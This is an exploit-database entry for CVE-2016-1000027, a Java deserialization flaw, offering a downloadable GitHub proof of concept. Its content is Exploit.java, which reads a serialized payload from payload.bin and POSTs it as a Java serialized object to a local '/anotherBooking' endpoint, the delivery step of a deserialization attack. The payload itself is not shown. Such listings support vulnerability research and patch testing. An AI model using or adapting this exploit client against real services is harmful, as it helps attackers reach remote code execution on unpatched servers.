Exploit database

GH-b009aa204fc81a73f487f8f3fed18a96

acis-chindanai/vahom

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2016-1000027

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

client/src/main/java/com/gypsyengineer/client/Exploit.java

Java · 1,034 bytes
package com.gypsyengineer.client;

import java.io.BufferedOutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exploit {

    public static void main(String... args) throws Exception {
        byte[] payload = Files.readAllBytes(Paths.get("payload.bin"));
        HttpURLConnection connection = (HttpURLConnection) new URL("http://localhost:8080/anotherBooking").openConnection();
        connection.setDoOutput(true);
        connection.setRequestMethod("POST");
        connection.setRequestProperty("Content-Type", "application/x-java-serialized-object");
        connection.setRequestProperty("Content-Length", Integer.toString(payload.length));
        connection.setRequestProperty("Accept-Encoding", "gzip");
        try (BufferedOutputStream bos = new BufferedOutputStream(connection.getOutputStream())) {
            bos.write(payload);
            bos.flush();
        }
        System.out.println(connection.getResponseCode());
    }
}